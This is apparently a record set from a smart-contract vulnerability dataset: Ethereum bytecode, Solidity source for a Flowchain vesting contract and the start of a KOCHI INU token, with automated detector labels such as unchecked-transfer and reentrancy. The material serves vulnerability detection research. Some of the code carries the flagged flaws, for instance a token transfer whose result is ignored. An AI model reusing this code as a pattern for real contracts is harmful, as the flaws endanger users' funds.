ffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561138057600080fd5b81600b60006101000a81548160ff02191690831515021790555060019050919050565b6006818154811015156113b257fe5b90600052602060002090600a020160070160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415151561141e57600080fd5b6001151560068281548110151561143157fe5b90600052602060002090600a020160070160149054906101000a900460ff16151514151561145e57600080fd5b60068181548110151561146d57fe5b90600052602060002090600a020160080154600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156114cc57600080fd5b6115366006828154811015156114de57fe5b90600052602060002090600a020160070160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660068381548110151561151f57fe5b90600052602060002090600a020160080154612359565b503373ffffffffffffffffffffffffffffffffffffffff1660068281548110151561155d57fe5b90600052602060002090600a020160070160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f9cd82bf4bd679d52ed46126a2c8cf70d8e39555a7394f9f719a262cc258a0214836040518082815260200191505060405180910390a3336006828154811015156115ec57fe5b90600052602060002090600a020160070160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060068281548110151561164c57fe5b90600052602060002090600a020160070160146101000a81548160ff021916908315150217905550600060068281548110151561168557fe5b90600052602060002090600a02016008018190555050565b600080600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015801561176e5750828110155b151561177957600080fd5b82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555082600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8110156118c65782600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b6000600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561199557600080fd5b8160088190555060019050919050565b60046020528060005260406000206000915090505481565b6000806006838154811015156119cf57fe5b90600052602060002090600a020160090160009054906101000a900467ffffffffffffffff1667ffffffffffffffff169050613a98811015611a145760019150611ab7565b6188b8811015611a275760029150611ab7565b61ea60811015611a3a5760039150611ab7565b62015f90811015611a4e5760049150611ab7565b6201e848811015611a625760059150611ab7565b62028488811015611a765760069150611ab7565b62033450811015611a8a5760079150611ab7565b6203f7a0811015611a9e5760089150611ab7565b6204ce78811015611ab25760099150611ab7565b600a91505b50919050565b60025481565b6060806000806060600680549050604051908082528060200260200182016040528015611aff5781602001602082028038833980820191505090505b50935060009250600091505b600680549050821015611b835760011515600683815481101515611b2b57fe5b90600052602060002090600a020160070160149054906101000a900460ff1615151415611b7657818484806001019550815181101515611b6757fe5b90602001906020020181815250505b8180600101925050611b0b565b82604051908082528060200260200182016040528015611bb25781602001602082028038833980820191505090505b509050600091505b82821015611c03578382815181101515611bd057fe5b906020019060200201518183815181101515611be857fe5b90602001906020020181815250508180600101925050611bba565b8094505050505090565b600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c6957600080fd5b80600b60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6060806000806060600680549050604051908082528060200260200182016040528015611ce95781602001602082028038833980820191505090505b50935060009250600091505b600680549050821015611da7578573ffffffffffffffffffffffffffffffffffffffff16600683815481101515611d2857fe5b90600052602060002090600a020160070160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611d9a57818484806001019550815181101515611d8b57fe5b90602001906020020181815250505b8180600101925050611cf5565b82604051908082528060200260200182016040528015611dd65781602001602082028038833980820191505090505b509050600091505b82821015611e27578382815181101515611df457fe5b906020019060200201518183815181101515611e0c57fe5b90602001906020020181815250508180600101925050611dde565b80945050505050919050565b600080600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e9257600080fd5b3090508073ffffffffffffffffffffffffffffffffffffffff1631831115611f17578373ffffffffffffffffffffffffffffffffffffffff166108fc8273ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015611f11573d6000803e3d6000fd5b50611f5f565b8373ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f19350505050158015611f5d573d6000803e3d6000fd5b505b600191505092915050565b6005602052816000526040600020602052806000526040600020600091509150505481565b60075481565b600b60009054906101000a900460ff1681565b6000600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561200657600080fd5b8160098190555060019050919050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a5481565b60011515600b60009054906101000a900460ff16151514151561208757600080fd5b60003411151561209657600080fd5b670de0b6b3a764000060085434028115156120ad57fe5b04600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550670de0b6b3a7640000600854340281151561211157fe5b04600360008282540192505081905550565b6000606060068481548110151561213657fe5b90600052602060002090600a020160070160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156121a157600080fd5b6006848154811015156121b057fe5b90600052602060002090600a02016001018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156122555780601f1061222a57610100808354040283529160200191612255565b820191906000526020600020905b81548152906001019060200180831161223857829003601f168201915b505050505090506000815114156122a0578260068581548110151561227657fe5b90600052602060002090600a0201600101908051906020019061229a9291906137f4565b506122a9565b600091506122ae565b600191505b5092915050565b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561234b5780601f106123205761010080835404028352916020019161234b565b820191906000526020600020905b81548152906001019060200180831161232e57829003601f168201915b505050505081565b60085481565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156123a957600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60095481565b6000600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561251657600080fd5b8160078190555060019050919050565b600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060011515600b60009054906101000a900460ff16151514151561257057600080fd5b346009548367ffffffffffffffff16021115151561258d57600080fd5b600190505b8167ffffffffffffffff168167ffffffffffffffff161115156125c4576125b761329f565b8080600101915050612592565b5050565b60006006828154811015156125d957fe5b90600052602060002090600a020160070160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561264457600080fd5b61264d82611001565b90508060068381548110151561265f57fe5b90600052602060002090600a020160050160006101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060038167ffffffffffffffff1614156127b757436006838154811015156126b957fe5b90600052602060002090600a02016003018190555060006006838154811015156126df57fe5b90600052602060002090600a020160050160006101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060068281548110151561272557fe5b90600052602060002090600a020160070160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167e1b5608637080441749657c0c1a9b624329a3ffe4700cc2c14527f52b9891f5836000604051808381526020018267ffffffffffffffff1681526020019250505060405180910390a25b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60068181548110151561285157fe5b90600052602060002090600a0201600091509050806000015490806001018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156129035780601f106128d857610100808354040283529160200191612903565b820191906000526020600020905b8154815290600101906020018083116128e657829003601f168201915b5050505050908060020160009054906101000a900467ffffffffffffffff16908060020160089054906101000a900467ffffffffffffffff16908060020160109054906101000a900467ffffffffffffffff16908060030154908060040154908060050160009054906101000a900467ffffffffffffffff16908060060154908060070160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060070160149054906101000a900460ff16908060080154908060090160009054906101000a900467ffffffffffffffff1690508d565b60003373ffffffffffffffffffffffffffffffffffffffff16600683815481101515612a0857fe5b90600052602060002090600a020160070160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515612a5c57600080fd5b82600683815481101515612a6c57fe5b90600052602060002090600a020160070160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f9cd82bf4bd679d52ed46126a2c8cf70d8e39555a7394f9f719a262cc258a0214846040518082815260200191505060405180910390a36001905092915050565b600060011515600b60009054906101000a900460ff161515141515612b4e57600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546007548367ffffffffffffffff160211151515612baa57600080fd5b6007548267ffffffffffffffff1602600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055506007548267ffffffffffffffff160260046000600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6007548567ffffffffffffffff16026040518082815260200191505060405180910390a3600190505b8167ffffffffffffffff168167ffffffffffffffff16111515612d4e57612d4161329f565b8080600101915050612d1c565b5050565b600a543410151515612d6357600080fd5b600683815481101515612d7257fe5b90600052602060002090600a020160070160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612ddd57600080fd5b60008110151515612ded57600080fd5b81600684815481101515612dfd57fe5b90600052602060002090600a020160070160146101000a81548160ff02191690831515021790555080600684815481101515612e3557fe5b90600052602060002090600a020160080181905550505050565b600080600080600685815481101515612e6457fe5b90600052602060002090600a020160070160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612ecf57600080fd5b612ed885611001565b935083600686815481101515612eea57fe5b90600052602060002090600a020160050160006101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060018467ffffffffffffffff1614156132985743600686815481101515612f4457fe5b90600052602060002090600a0201600401819055506002600686815481101515612f6a57fe5b90600052602060002090600a020160050160006101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550612faa856119bd565b60ff169250600685815481101515612fbe57fe5b90600052602060002090600a020160020160009054906101000a900467ffffffffffffffff16600686815481101515612ff357fe5b90600052602060002090600a020160090160009054906101000a900467ffffffffffffffff160160068681548110151561302957fe5b90600052602060002090600a020160090160006101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550613069856119bd565b60ff16915060068581548110151561307d57fe5b90600052602060002090600a020160020160109054906101000a900467ffffffffffffffff1667ffffffffffffffff166006868154811015156130bc57fe5b90600052602060002090600a020160020160009054906101000a900467ffffffffffffffff1667ffffffffffffffff16600254600a0a028115156130fc57fe5b04905080600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806003600082825401925050819055508167ffffffffffffffff168367ffffffffffffffff1610156131f757600260068681548110151561318957fe5b90600052602060002090600a020160020160109054906101000a900467ffffffffffffffff16036006868154811015156131bf57fe5b90600052602060002090600a020160020160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505b60068581548110151561320657fe5b90600052602060002090600a020160070160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167e1b5608637080441749657c0c1a9b624329a3ffe4700cc2c14527f52b9891f5866002604051808381526020018267ffffffffffffffff1681526020019250505060405180910390a25b5050505050565b60006132a9613874565b6000600192506101a06040519081016040528060008152602001602060405190810160405280600081525081526020016107d06103e86006805490503388806001019950604051808481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018267ffffffffffffffff1667ffffffffffffffff167801000000000000000000000000000000000000000000000000028152600801935050505060405180910390206001900467ffffffffffffffff1681151561339157fe5b060167ffffffffffffffff1681526020016107086101906006805490503388604051808481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018267ffffffffffffffff1667ffffffffffffffff167801000000000000000000000000000000000000000000000000028152600801935050505060405180910390206001900467ffffffffffffffff1681151561345457fe5b060167ffffffffffffffff1681526020016064601e6006805490503388604051808481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018267ffffffffffffffff1667ffffffffffffffff167801000000000000000000000000000000000000000000000000028152600801935050505060405180910390206001900467ffffffffffffffff1681151561351557fe5b060167ffffffffffffffff1681526020016000815260200160008152602001600367ffffffffffffffff16815260200160068054905033604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014019250505060405180910390206000191681526020013373ffffffffffffffffffffffffffffffffffffffff16815260200160001515815260200160008152602001600067ffffffffffffffff16815250915060016006839080600181540180825580915050906001820390600052602060002090600a02016000909192909190915060008201518160000155602082015181600101908051906020019061363f92919061392a565b5060408201518160020160006101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060608201518160020160086101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060808201518160020160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060a0820151816003015560c0820151816004015560e08201518160050160006101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555061010082015181600601906000191690556101208201518160070160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506101408201518160070160146101000a81548160ff02191690831515021790555061016082015181600801556101808201518160090160006101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505050039050806006828154811015156137da57fe5b90600052602060002090600a020160000181905550505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061383557805160ff1916838001178555613863565b82800160010185558215613863579182015b82811115613862578251825591602001919060010190613847565b5b50905061387091906139aa565b5090565b6101a0604051908101604052806000815260200160608152602001600067ffffffffffffffff168152602001600067ffffffffffffffff168152602001600067ffffffffffffffff1681526020016000815260200160008152602001600067ffffffffffffffff16815260200160008019168152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160001515815260200160008152602001600067ffffffffffffffff1681525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061396b57805160ff1916838001178555613999565b82800160010185558215613999579182015b8281111561399857825182559160200191906001019061397d565b5b5090506139a691906139aa565b5090565b6139cc91905b808211156139c85760008160009055506001016139b0565b5090565b905600a165627a7a723058207606b8fa900a782c3a94458a9add5c840e08b2bdb9e1d6d30dc8ecd454bbbb630029
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
6,930
0x0b4d94e04e1fe219d8ad6b9bc7cd0176e273dc28
pragma solidity 0.4.24; /** * Copyright 2018, Flowchain.co * * The dapp of team vesting. The lock period is one year. */ /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Multiplies two signed integers, reverts on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == INT256_MIN)); // This is the only case of overflow not detected by the check below int256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Integer division of two signed integers truncating the quotient, reverts on division by zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0); // Solidity only automatically asserts when dividing by 0 require(!(b == -1 && a == INT256_MIN)); // This is the only case of overflow int256 c = a / b; return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Subtracts two signed integers, reverts on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Adds two signed integers, reverts on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } interface Token { /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) public view returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title TokenVesting * @dev A token holder contract that can release its token balance gradually like a * typical vesting scheme, with a cliff and vesting period. Optionally revocable by the * owner. */ contract Vesting is Ownable { using SafeMath for uint256; Token public tokenReward; // beneficiary of tokens after they are released address private _beneficiary; uint256 private _cliff; uint256 private _start; uint256 private _duration; address public _addressOfTokenUsedAsReward; address public creator; mapping (address => uint256) private _released; uint256 constant public VESTING_DURATION = 31536000; // 1 Year in second /* Constrctor function */ function Vesting() payable { creator = msg.sender; createVestingPeriod( 0xA2690D72D6c932AE7Aa1cC0dE48aEaBBDCaf2799, block.timestamp, 0, VESTING_DURATION, 0x5b53f9755f82439cba66007ec7073c59e0da4a7d ); } /** * @dev Creates a vesting contract that vests its balance of FLC token to the * beneficiary, gradually in a linear fashion until start + duration. By then all * of the balance will have vested. * @param beneficiary address of the beneficiary to whom vested tokens are transferred * @param cliffDuration duration in seconds of the cliff in which tokens will begin to vest * @param start the time (as Unix time) at which point vesting starts * @param duration duration in seconds of the period in which the tokens will vest * @param addressOfTokenUsedAsReward where is the token contract */ function createVestingPeriod(address beneficiary, uint256 start, uint256 cliffDuration, uint256 duration, address addressOfTokenUsedAsReward) public onlyOwner { require(cliffDuration <= duration); require(duration > 0); require(start.add(duration) > block.timestamp); _beneficiary = beneficiary; _duration = duration; _cliff = start.add(cliffDuration); _start = start; _addressOfTokenUsedAsReward = addressOfTokenUsedAsReward; tokenReward = Token(addressOfTokenUsedAsReward); } /** * @return the beneficiary of the tokens. */ function beneficiary() public view returns (address) { return _beneficiary; } /** * @return the cliff time of the token vesting. */ function cliff() public view returns (uint256) { return _cliff; } /** * @return the start time of the token vesting. */ function start() public view returns (uint256) { return _start; } /** * @return the duration of the token vesting. */ function duration() public view returns (uint256) { return _duration; } /** * @return the amount of the token released. */ function released(address token) public view returns (uint256) { return _released[token]; } /** * @notice Mints and transfers tokens to beneficiary. * @param token ERC20 token which is being vested */ function release(address token) public onlyOwner { uint256 unreleased = _releasableAmount(token); require(unreleased > 0); _released[token] = _released[token].add(unreleased); tokenReward.transfer(_beneficiary, unreleased); } /** * @dev Calculates the amount that has already vested but hasn&#39;t been released yet. * @param token ERC20 token which is being vested */ function _releasableAmount(address token) private view returns (uint256) { return _vestedAmount(token).sub(_released[token]); } /** * @dev Calculates the amount that has already vested. * @param token ERC20 token which is being vested */ function _vestedAmount(address token) private view returns (uint256) { uint256 currentBalance = tokenReward.balanceOf(address(this)); uint256 totalBalance = currentBalance.add(_released[token]); if (block.timestamp < _cliff) { return 0; } else if (block.timestamp >= _start.add(_duration)) { return totalBalance; } else { return totalBalance.mul(block.timestamp.sub(_start)).div(_duration); } } }
0x6080604052600436106100da5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166302d05d3f81146100df5780630fb5a6b41461011057806313d033c014610137578063191655871461014c57806338af3eed1461016f5780634cfc4d30146101845780636e66f6e914610199578063715018a6146101ae5780638da5cb5b146101c35780638f32d59b146101d85780639852595c14610201578063be9a655514610222578063e465cd6714610237578063f2fde38b1461026a578063ff7cea351461028b575b600080fd5b3480156100eb57600080fd5b506100f46102a0565b60408051600160a060020a039092168252519081900360200190f35b34801561011c57600080fd5b506101256102af565b60408051918252519081900360200190f35b34801561014357600080fd5b506101256102b5565b34801561015857600080fd5b5061016d600160a060020a03600435166102bb565b005b34801561017b57600080fd5b506100f46103c4565b34801561019057600080fd5b506101256103d3565b3480156101a557600080fd5b506100f46103db565b3480156101ba57600080fd5b5061016d6103ea565b3480156101cf57600080fd5b506100f4610454565b3480156101e457600080fd5b506101ed610463565b604080519115158252519081900360200190f35b34801561020d57600080fd5b50610125600160a060020a0360043516610474565b34801561022e57600080fd5b5061012561048f565b34801561024357600080fd5b5061016d600160a060020a0360043581169060243590604435906064359060843516610495565b34801561027657600080fd5b5061016d600160a060020a0360043516610559565b34801561029757600080fd5b506100f4610578565b600754600160a060020a031681565b60055490565b60035490565b60006102c5610463565b15156102d057600080fd5b6102d982610587565b9050600081116102e857600080fd5b600160a060020a038216600090815260086020526040902054610311908263ffffffff6105bf16565b600160a060020a0380841660009081526008602090815260408083209490945560015460025485517fa9059cbb000000000000000000000000000000000000000000000000000000008152908516600482015260248101879052945193169363a9059cbb9360448083019491928390030190829087803b15801561039457600080fd5b505af11580156103a8573d6000803e3d6000fd5b505050506040513d60208110156103be57600080fd5b50505050565b600254600160a060020a031690565b6301e1338081565b600154600160a060020a031681565b6103f2610463565b15156103fd57600080fd5b60008054604051600160a060020a03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a031690565b600054600160a060020a0316331490565b600160a060020a031660009081526008602052604090205490565b60045490565b61049d610463565b15156104a857600080fd5b818311156104b557600080fd5b600082116104c257600080fd5b426104d3858463ffffffff6105bf16565b116104dd57600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038716179055600582905561051484846105bf565b600355600493909355505060068054600160a060020a0390921673ffffffffffffffffffffffffffffffffffffffff1992831681179091556001805490921617905550565b610561610463565b151561056c57600080fd5b610575816105dc565b50565b600654600160a060020a031681565b600160a060020a0381166000908152600860205260408120546105b9906105ad84610659565b9063ffffffff61079716565b92915050565b6000828201838110156105d157600080fd5b8091505b5092915050565b600160a060020a03811615156105f157600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600154604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905160009283928392600160a060020a03909216916370a082319160248082019260209290919082900301818787803b1580156106c557600080fd5b505af11580156106d9573d6000803e3d6000fd5b505050506040513d60208110156106ef57600080fd5b5051600160a060020a03851660009081526008602052604090205490925061071e90839063ffffffff6105bf16565b90506003544210156107335760009250610790565b6005546004546107489163ffffffff6105bf16565b421061075657809250610790565b61078d6005546107816107746004544261079790919063ffffffff16565b849063ffffffff6107ae16565b9063ffffffff6107dc16565b92505b5050919050565b600080838311156107a757600080fd5b5050900390565b6000808315156107c157600091506105d5565b508282028284828115156107d157fe5b04146105d157600080fd5b6000808083116107eb57600080fd5b82848115156107f657fe5b049493505050505600a165627a7a723058208379f18abafc45980dd368d76c4156a5dbc4afc7ac81e58c620f402e5af82b290029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
6,931
0x5F183834B61bf4D0cE28033871bFA408ff97f735
/** *Submitted for verification at Etherscan.io on 2021-04-26 */ // SPDX-License-Identifier: No License pragma solidity 0.6.12; // ---------------------------------------------------------------------------- // 'KOCHI INU' token contract // // Symbol : KOCHI // Name : KOCHI INU // Total supply: 1 000 000 000 000 000 // Decimals : 18 // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath{ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ interface ERC20Basic { function balanceOf(address who) external view returns (uint256 balance); function transfer(address to, uint256 value) external returns (bool trans1); function allowance(address owner, address spender) external view returns (uint256 remaining); function 